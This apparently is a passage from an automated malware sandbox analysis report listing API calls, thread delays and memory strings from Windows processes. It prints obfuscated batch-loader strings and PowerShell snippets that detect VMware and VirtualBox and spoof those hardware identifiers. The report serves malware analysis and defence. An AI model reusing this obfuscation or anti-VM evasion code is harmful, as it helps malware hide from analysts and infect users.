Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAEE6DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6D894 FindFirstFileExW,	14_2_000002BAAEE6D894
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6ED894 FindFirstFileExW,	15_2_000002512A6ED894
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6EDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000002512A6EDA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_000001BEB0A3DA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3D894 FindFirstFileExW,	16_2_000001BEB0A3D894
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CD894 FindFirstFileExW,	20_2_0000026A879CD894
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	20_2_0000026A879CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	21_2_00000179537ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537AD894 FindFirstFileExW,	21_2_00000179537AD894
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	21_2_00000179537DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DD894 FindFirstFileExW,	21_2_00000179537DD894
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000002295D56DA18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56D894 FindFirstFileExW,	22_2_000002295D56D894
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_0000025306E6DA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6D894 FindFirstFileExW,	23_2_0000025306E6D894
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_0000025306ECDA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECD894 FindFirstFileExW,	23_2_0000025306ECD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CD894 FindFirstFileExW,	24_2_000001845B3CD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	24_2_000001845B3CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4D894 FindFirstFileExW,	25_2_000001ADECD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	25_2_000001ADECD4DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907D894 FindFirstFileExW,	26_2_000001D55907D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D55907DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590AD894 FindFirstFileExW,	26_2_000001D5590AD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D5590ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DD894 FindFirstFileExW,	26_2_000001D5590DD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D5590DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	29_2_00000241A9EADA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EAD894 FindFirstFileExW,	29_2_00000241A9EAD894
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	30_2_000001CD7319DA18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319D894 FindFirstFileExW,	30_2_000001CD7319D894

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: q!BYarQcOfuEgOwbePEByPiELbMcxcMCvfLACRyOEQXJGNbtMghEzExriXnYFNELtRibdWznrQWISyXYas! "C%QAYZKHjHizuLLUlyUEifeDEpTAbBTVAXaWjUkDPpWPKrDvCXNoxrRaBmVIfjGINmZwLP%Z%LqnrOTjoSnLyYdNExjgZuWZCxGInbyshJNmwagCYRmtHWGkCViOQqMuOrLTikVnuVEOl%u%RqErGihiCrFQvgsSJBRXtxfpnuNWZZMsSZKEExjhEllZfcMeCuLtNQRtlodmuliDFnYw%j%vOnlsJshmfjlHJtEnsFbhrsptWNtcHuSeqINhzbdyKhgfSEKREqmIWodvXSvVYeELqhr%C%aFxNrBDxjmkArdCyrhkhbFsjHFhzFCvOLnJlgCVgtRUjNrdSwFnDgZqvnogMtdRHRvPe%z%trsPleNkKivqBpcZpRIMXnXSvjMpZmrsCZyfnxrblfKeSPleaRrZMchftztcrykyRdNB%W%QXMSzGARDSZGYHohVrFzRsLOeoKNVmnPbJndfzAgCqCAzNeJjcDzxoKylXNlWNVqFkEo%g%ulcvRzWBQkoqjaDSJOrNYPRhLojPulVpjPpYahHYriHaJxbWjdHQSQqEtUKCphhEoZhu%w%KESBgtvQhRyonnFqEfwszKFfxfJkbdLKqHlElfKzuzwCwvpbBQajCOUaZMebJlPefOYG%T%cafzuWYancJbPHIkcBhBMlEzaJPiKswIxIZBLBPFQUMWcclcDEbDGwUQwGyKhPpVGbDh%Q%HhzBMCLSyHwXyNFgqSbbOieeceyaEQqazdvweAReKbrOjAmujjFNZCtycuzHdKnIrvyu%Y%ribQaXrMRqVCReQvkCbWKXuJakaZOJxNbScbiPMckGHLzWPZTSxOuBJuNrPQXrYhTiAZ%h%bPmvQYLepJkeuafVlIszjHnQaVfTHzRrvQYeFcYvPEeehKwWlcVkPbPtCvuUTSwQRSID%n%cbpjKWJEDiJpziHFDGCuaECjHdCXionocSUjNMASrlQtMeuLkRmkqoDyzfCGuMwoVvnH%R%oxSRgJcPNixCJQMqbcXNpwKHkTyFPBxqQNxNZveHlNKqIZXDZfmSyArSNkHmlxamKgMW%Z%tZrGYpBBMtYkWUFJpFSqvFZONRwONxFBnbkaNGUiYQgtmwpqRqXfnvAOZDShTNOoNwXV%N%KEWIKKsEyGCrBfWwAzoRAvbkNNpkcRFPyuGnuovDdVptbBFNQrNoifvoDLVXvhCHaMSh%r%yJcmeKOEgHjmhBtLerGtZsJJtxhVsItoIyphpAjxrQiVCIQUNRCIgzigatTHDTmxoVDJ%V%mmwEiibjjNgKHnhBgKijpigVHCUyEKGHfgIAvYzXxZWmmjZpLKrDMttdfAXGoDFzgzEA%Z%FHghkkMqlUJxCFNTtdUMNEuVbTJTuxfMEzJdEjtBHcRlQzeIQLgdFSNbmkgrBSWOPXSd%g%VJpjKseKMjeBPacIrbgMLIRtcbaOfdwTGaNhwWtnNdocgFBBQoxNQgrmRVhIrqEJNlVO%=.%VmuHTYIuOnxzzYRFIcAJApAPLVxyFpVJNnUccfXhJSdIJiSrNdeivfMFL%T%FWXBjOyrNMldPDDfsZImSfCcfLBlNoIBprwjZGAdEqWwHoYABccfdsSzt%r%UwynnEyeJNygtgMzEHBjgvQNbKKmCxXyWPejcPrMxsXAzthWpGzKrqnyF%a%KmCUmBlQZjEbCxOqPMNypnHCNWVYmhGCFErDOSlQLKAkDVNjKuBDzapxF%n%agpGmDSDbvYflCXBXMFNwZSjLoSFccFoTXOMVkzgHHBzPdyREcCoKKian%s%gUXLnAZQJmnNlFMnyfPysuIQaaZAqEiPOyPpBvugBJfRketxPblFsBUMm%f%hKmAzzfdyZMQxLdLJWJoQFWGCKpsDwmEddtKhFcjaNMeHGspiTJElxvCO%o%FYOkMzbMiNtstDdUzodSRZWrZkJNIsFHRVBHnZonLsySYWPpGKLjrJXGb%r%xkBQoePhLBxcvGAZPhzAdscvuhXGwphYVGQOMxxnJLmvrnkeljCCxfYeh%m%gvhgiLvtygPQLnsJlRrfHdgWTvnNEBQHLGFbqhAaRcTgvnzWjTmnGYAcp%F%knNyHOXqhefHqserroFjaAFVrELoCbNfCMfTMCjnWQnjuoSAiWoJVTpJH%i%SgdcIOgqZeEnkEPfrnjnvBcLlgFMdkJxvmUvfknchSujomXrzEEFfwlqe%n%rRCitnPugRXKtZgahfDhSxYinnzFesZbEqNtKTOFEPhvaHfExEXrIjlUS%a%uUgOjqOSWgdmMpnrXCdpCiGhUizuIsueTBqZHRvysDdBcsKpJZLGiEpmo%"
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000018.00000002.2301414962.000001845AC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000002D.00000000.2187569565.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.26.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.26.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 0000001A.00000000.2118976319.000001D559C12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: svchost.exe, 0000000B.00000002.2284316303.000002A66062A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.26.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: svchost.exe, 0000001A.00000000.2118976319.000001D559C12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: cmd.exe, 0000000F.00000003.2042779676.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2045025170.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2028254912.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2042617080.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2044624942.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2027664001.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2041830461.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2045247941.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2045892043.000002512A765000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2049088156.000002512A761000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2027421836.000002512A765000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK" ]
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 0000001A.00000000.2100413094.000001D55862B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2300791872.000001D55862B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.26.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: x.bat, $rbx-CO2.bat.12.dr	Binary or memory string: !BYarQcOfuEgOwbePEByPiELbMcxcMCvfLACRyOEQXJGNbtMghEzExriXnYFNELtRibdWznrQWISyXYas! "C%QAYZKHjHizuLLUlyUEifeDEpTAbBTVAXaWjUkDPpWPKrDvCXNoxrRaBmVIfjGINmZwLP%Z%LqnrOTjoSnLyYdNExjgZuWZCxGInbyshJNmwagCYRmtHWGkCViOQqMuOrLTikVnuVEOl%u%RqErGihiCrFQvgsSJBRXtxfpnuNWZZMsSZKEExjhEllZfcMeCuLtNQRtlodmuliDFnYw%j%vOnlsJshmfjlHJtEnsFbhrsptWNtcHuSeqINhzbdyKhgfSEKREqmIWodvXSvVYeELqhr%C%aFxNrBDxjmkArdCyrhkhbFsjHFhzFCvOLnJlgCVgtRUjNrdSwFnDgZqvnogMtdRHRvPe%z%trsPleNkKivqBpcZpRIMXnXSvjMpZmrsCZyfnxrblfKeSPleaRrZMchftztcrykyRdNB%W%QXMSzGARDSZGYHohVrFzRsLOeoKNVmnPbJndfzAgCqCAzNeJjcDzxoKylXNlWNVqFkEo%g%ulcvRzWBQkoqjaDSJOrNYPRhLojPulVpjPpYahHYriHaJxbWjdHQSQqEtUKCphhEoZhu%w%KESBgtvQhRyonnFqEfwszKFfxfJkbdLKqHlElfKzuzwCwvpbBQajCOUaZMebJlPefOYG%T%cafzuWYancJbPHIkcBhBMlEzaJPiKswIxIZBLBPFQUMWcclcDEbDGwUQwGyKhPpVGbDh%Q%HhzBMCLSyHwXyNFgqSbbOieeceyaEQqazdvweAReKbrOjAmujjFNZCtycuzHdKnIrvyu%Y%ribQaXrMRqVCReQvkCbWKXuJakaZOJxNbScbiPMckGHLzWPZTSxOuBJuNrPQXrYhTiAZ%h%bPmvQYLepJkeuafVlIszjHnQaVfTHzRrvQYeFcYvPEeehKwWlcVkPbPtCvuUTSwQRSID%n%cbpjKWJEDiJpziHFDGCuaECjHdCXionocSUjNMASrlQtMeuLkRmkqoDyzfCGuMwoVvnH%R%oxSRgJcPNixCJQMqbcXNpwKHkTyFPBxqQNxNZveHlNKqIZXDZfmSyArSNkHmlxamKgMW%Z%tZrGYpBBMtYkWUFJpFSqvFZONRwONxFBnbkaNGUiYQgtmwpqRqXfnvAOZDShTNOoNwXV%N%KEWIKKsEyGCrBfWwAzoRAvbkNNpkcRFPyuGnuovDdVptbBFNQrNoifvoDLVXvhCHaMSh%r%yJcmeKOEgHjmhBtLerGtZsJJtxhVsItoIyphpAjxrQiVCIQUNRCIgzigatTHDTmxoVDJ%V%mmwEiibjjNgKHnhBgKijpigVHCUyEKGHfgIAvYzXxZWmmjZpLKrDMttdfAXGoDFzgzEA%Z%FHghkkMqlUJxCFNTtdUMNEuVbTJTuxfMEzJdEjtBHcRlQzeIQLgdFSNbmkgrBSWOPXSd%g%VJpjKseKMjeBPacIrbgMLIRtcbaOfdwTGaNhwWtnNdocgFBBQoxNQgrmRVhIrqEJNlVO%=.%VmuHTYIuOnxzzYRFIcAJApAPLVxyFpVJNnUccfXhJSdIJiSrNdeivfMFL%T%FWXBjOyrNMldPDDfsZImSfCcfLBlNoIBprwjZGAdEqWwHoYABccfdsSzt%r%UwynnEyeJNygtgMzEHBjgvQNbKKmCxXyWPejcPrMxsXAzthWpGzKrqnyF%a%KmCUmBlQZjEbCxOqPMNypnHCNWVYmhGCFErDOSlQLKAkDVNjKuBDzapxF%n%agpGmDSDbvYflCXBXMFNwZSjLoSFccFoTXOMVkzgHHBzPdyREcCoKKian%s%gUXLnAZQJmnNlFMnyfPysuIQaaZAqEiPOyPpBvugBJfRketxPblFsBUMm%f%hKmAzzfdyZMQxLdLJWJoQFWGCKpsDwmEddtKhFcjaNMeHGspiTJElxvCO%o%FYOkMzbMiNtstDdUzodSRZWrZkJNIsFHRVBHnZonLsySYWPpGKLjrJXGb%r%xkBQoePhLBxcvGAZPhzAdscvuhXGwphYVGQOMxxnJLmvrnkeljCCxfYeh%m%gvhgiLvtygPQLnsJlRrfHdgWTvnNEBQHLGFbqhAaRcTgvnzWjTmnGYAcp%F%knNyHOXqhefHqserroFjaAFVrELoCbNfCMfTMCjnWQnjuoSAiWoJVTpJH%i%SgdcIOgqZeEnkEPfrnjnvBcLlgFMdkJxvmUvfknchSujomXrzEEFfwlqe%n%rRCitnPugRXKtZgahfDhSxYinnzFesZbEqNtKTOFEPhvaHfExEXrIjlUS%a%uUgOjqOSWgdmMpnrXCdpCiGhUizuIsueTBqZHRvysDdBcsKpJZLGiEpmo%"
Source: svchost.exe, 0000002D.00000000.2187406854.000002644A640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000.ifo
Source: svchost.exe, 0000001A.00000000.2102357647.000001D5592C3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.26.dr	Binary or memory string: VMware
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp, x.bat, $rbx-CO2.bat.12.dr	Binary or memory string: !rVidQItrFEziRllqOEaqQHUmIIPzKZoYnynQlNssJFTISHfwGiiuZcyJbVuhTTGFpAVsXuealIHl! "l%wTyuFvahdZywKcukrdiqrDPjmqkfhQjZOGDiNjzpyakWOrtgZld%h%VLBKSepipkVanQyIezlxiETRrsSvUWefWMonmWKeybjeDaXgpJp%T%GONUqSJtzlTnsgPdABlviOhZhuOoqvMglGxrjSXuDCkSEOQYNXw%F%EdohRHONWeucezNcMIyTIEQSFEovtDQAtZicWyFKufbqiAgtQLe%I%ppdOanwCnsttsoUJeqLfncNzCCzJeyVEHzAlpkiOzWsrbLJcoQb%Z%ceGRnBElxNMxPwOMSNItTiWFrKwyRTwvnwTzbImJLYKbMyCVmZQ%c%pFxhTiazDffuDrrktCoLkBZHVyVSShAlRdhPQoaraiJDFEgJvoj%m%tXoFNGPmvnhGvFTDAjBteBXKcRvcrrlxEXhoDxtjacFeSBoYLbF%E%ATUfRZDDWkNVdbKcyxFZdPrscWTRBDwqqLLDJSqoaUxYngBciyQ%f%BgbCKBBdUgLctOxFsqgsFhqZistfVuQJcNVjoibbhPvioSdkQBj%L%MbgktPctriwhApcaGTnrjofkQMiKqpiouleHVCBtlPJSLHVTmSx%y%rDjZxWVtHHsdcZhMoluedrTfuEmziQoyySRLklGLajTLTLHSDVG%i%HRNtZJeESKwkQsUEjiwBdEJdTxhmIXtVnkGGKyRbgHNbEZcsZhx%n%KhtDdiKACCSWVqAWGLnULruuwQIzUuOmBzIOTHDyaXpzoKSKecw%V%GLnLtMZgmzkFhNFuwHLdYiPTOcVgLYYvRYhAoNpbUAqYQrhLIqv%m%csZyyWtXqRSvoBOOjGegIrJixRQdwUjyuCVcSzIEUPYkcecxbDY%O%eDjNKJQaGgpBwHubMFLVJXAlTtzgsPtbSWeUkPltbycxEoCCIdq%e%RpIohcYTrkKHRNnJADzQWurTkVdGFQWyozCLjHXRmVUjrRlKqEb%i%ZintwXOdmZroAnmsrlBzTFHDbAiCtKspaOXpbgfOvDLSUHtVfyT%t%zOfitBKrWPmKCHboLqXrlfNdpUPIugnxVQSBUGENqOiYiTikTsH%v%FhgItabTyMbXPCOOLOAtfMjawXPUvLEPbzHpPhzASMfbpQswtex%v%wsZCTYfmwlgxMimWqUzZDpaAsGiLFEsAqoiwbWOrJVcoLptSdUc%Y%CUfTgsyjmPuGRTFgyZPUufiqHmMOdnpILCQGlubeDMBBpplvgiU%U%TnZHwMPmUFJgZAMVpcZVdYKrHEGasbqIUswuLUtUwigyTGBbDuV%R%sgnRUCIaSfOTTpamHdrjuIfyVSmxbcExYfYCGACRdTBOHonjStU%=t%lkBJbOWbqkZPAqVNqyFgAAfAhqQGEcFHiGmNDoAREAATUMnrtzStONxKeaCKYpxnEsHUehjbYNCaZm%e%GudznfjlSvjBIDMPTodmoBftmlpRvakwLSuhHycsetzlKCzGpjTnWMXepJmbPsQSkMQQiEhvmLiVcT%m%IKMJBmhXzYUpRYlaCLCHbYMIxLbxblDcbwaCpgREKmmRVTMjjlixtvSKXdlQkJWovSnvXJKwUYWOLU%.%NEYSoPdgIGEqEmUatbqYwdFrmAALCvydYdqGRsvhlojHRGfyBTEVyNyJZHFNorEniAsBWojaGjNiTX%I%zFvckJQDElEGGkMHSTKVzqoDBnKDppaqPbhasmhUxFWhWqHYnYqTxYyjqRBWYmnpkoQFdMoFMPyUuh%O%HlGLpqYhSRDXJBLkVkrGWIzcVBKLgIAEPjkpqnWXqdvYbfcNUCTnCNlYLEQOFnakrYiAqvUIntqSnB%.%aPzXRDOmbbYlEMwirdckGdWCwyIkZjxsLkDaoIwwwfXhBeRhmecmPcUXSWAsVDnSEFAuivTIHFOBfP%F%arHAYUgkCIpGhsidBTSfDWEwYQltFjosRdWjLuEsLtcSeCnBADeVJameNkBiJMEstXOevYsgoztjTL%i%swCJTbftIRRSvASwIYOJyhNjgBlXGkHckbSfFaTDnaoXmDCRoSQuujnkItDrQhMyjPHuINRIflwyTQ%l%WCYtJOtmHbOHwlxBNfnPNxWijAaiojMOrSwatwyYfWhFGaqFlEyqldcyGQkiNlYyoZpEOwiqHoJQqq%e%BikvWKKwDnPYtCmpkUYIqHLLQOvhIWtmipobXsonNSvbPQcFesdPRHZUxzEipCOGUCPeokrSFKVylJ%]%WaLPdqSEuAqtEyNgYkeOhmbYrTalkhMBJNDDwzzxOpioNVGTeyMKuwBJZMyjpHtnOPJQVkJzLGaRdM%:%kwmggLubgnlTEJaphhWVzYlQYUOnZOvKFmBcWjAISNIwEbFZyvyTVimmlwimWhbsRBnriYsYGocMqO%:%mWoOOEpCOwapQAanLKLqFcNnRzdAmHgzVwjmXhtxdoNRqShRYtCrbZjkjaXpAPqhqAtuqOqDrnnqpW%"
Source: Microsoft-Windows-PushNotification-Platform%4Operational.evtx.26.dr	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 0000001A.00000000.2100879086.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 0000002D.00000000.2187569565.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: svchost.exe, 0000001A.00000003.2167646150.000001D559CEF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: -47vmci
Source: svchost.exe, 0000002D.00000000.2187569565.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp, x.bat, $rbx-CO2.bat.12.dr	Binary or memory string: !rVidQItrFEziRllqOEaqQHUmIIPzKZoYnynQlNssJFTISHfwGiiuZcyJbVuhTTGFpAVsXuealIHl! "j%vMvunfawAVJCQfglpONJIGztkGEjrNACzGAcHFHgfhOZWHZeXPuTSsWOmbkGAQeMuhd%i%kFdDKhHEBSAxDGzmCtHJgKMQGubFocbFPDPzUmJMlOvVMDHZaECtNxXASnWpfbpyRVI%B%ZRarpJUxroRedNbFJAIRrFpGHquGkzWdQVHiamnJSaFlbiTCevFYjdrtBtKZponSsNn%l%ifTFwmYZqZeEyxRCOTYUNDnGHCouEMNSoVKwkQjLkdatwOlCxMzZtSAESmYUYEvEmlq%V%DMvrXJmJJDTjSqLWRnOyvugEXSoMGIwhlxIQcuBphjQbYdfEmHDqyNViFRuevzdbgMY%O%uHVUxLyrmEeFUNKAZffJxCzkkaxTHfPVleKWqMfEZvIEAlzrLZeVadARiLKxoFKgPjt%d%PcOjmZBKcTVJZAfiHbTUiDSNFcIquLCPrRJpXQRWzsyXmbKWjwcfVplmjaDkqkprrgs%Z%hQPlQjWvPfUBDrMgXJwTbGxgXnHGochGgJDgtklVYUvhoyaSEdsHUnqBsJoDBqgMXov%V%UOFMNxAUhlqSynPblKzLTsbNKWHuINIjZdgeYqEkusiqcQQqMoVcyDBBMSbRQgmtChS%l%ugKdUfprAkLKUfqHtSGKvCEsfoNunfPNVYvjckaWjmarahhLzySAWxwSBsXFrUdvuXP%f%WKgFiRJAjBnrXgcUPnoQyBDHJnvEoiFWcslasSJJnWnroaaypZoighruhzWVwflaVro%D%FVcCWDFDBoltJnWppUxPVaRTTWOmhKmvWMuDmxrEBDPgVfnIzPWgyCtEdiJaPsvRcQx%o%XStcSCSoskKXOJfMrNfXusPzdNrPihYefHpQgNeEFoautlVrJGddWSdEcTYekdfkmGS%U%gtpFEJAsfsvgSSagCdVhnDLNnOatCiQiMsOXuazuvAXmGNglkWCgqyFCHBsQJhQXBnt%F%zecLCEBMNGzgzHOiFGJRoNlqSHIKoJaKttGhikaCPMSWhvSiUYlrRwfMSMTUWQxdFPN%k%gbHauFhbBVpixPzQpyJSWnUpvrgFZoOqsHMhnXQLKvEQCDwfwZiEWWQSgrEczBbmgYQ%Q%PcsCrHXiBJdMSVajagkuvQTaVsOmitrJEMGcewQWYNpicFMhysbgWDuZjrHYTLahsui%k%fpYeDpnwHAKXqGGOPskNarGTMPRcmNiQIxGSAoxQIhNyyuqsnXlPhGiOIerNxlkUsUp%e%TZOnAUueSEhvszzPpBtJboSjvWKtxXSgEfxszJKUNBpjAJZoYwVsZlnEhESEkbHVMbR%b%nbhqFRyVAZJJLWvubbAgsSSkUQgKMUtxySLmQfpABpNEyVgHOGGTlVyviWvOLOjFGmk%K%TljDVMZFdeoMYKyWfozlDuqeUKAPMfhYmLnwFcKhmquqUjwemSdrgaHzUfJkljSYXpA%I%nwbrdDsYmZZjLnvCUbPSleOBztzVcxwsFIiIkBaOOcuzUVXXPGXWhwpjIARKdwVPCHE%G%ceNrtabeiJoHEvCfwAzlitZaKJqLrgFXnrVScpEVgsgztSmpArzocvvJfNGJKqMcert%c%mzKdgWEePmzGSxakaGqURWlMoIUkQGeubzaPQnssyrFxGhOmKfMvOxBqnXPybtojheE%=$%wluMoXvAqOghTHAKTJFEXJBSyUredvpCCvPyKZhRbbZzRHEtTDqyyavNJCnt%a%FqxUzDFxSbaTBODVJcaQpXlzfRdCacPiLNlKEfZncgBRDwWKxzdHBweIfXOI%Z%AdxPmRhOCSrEcNOiwuWJUteA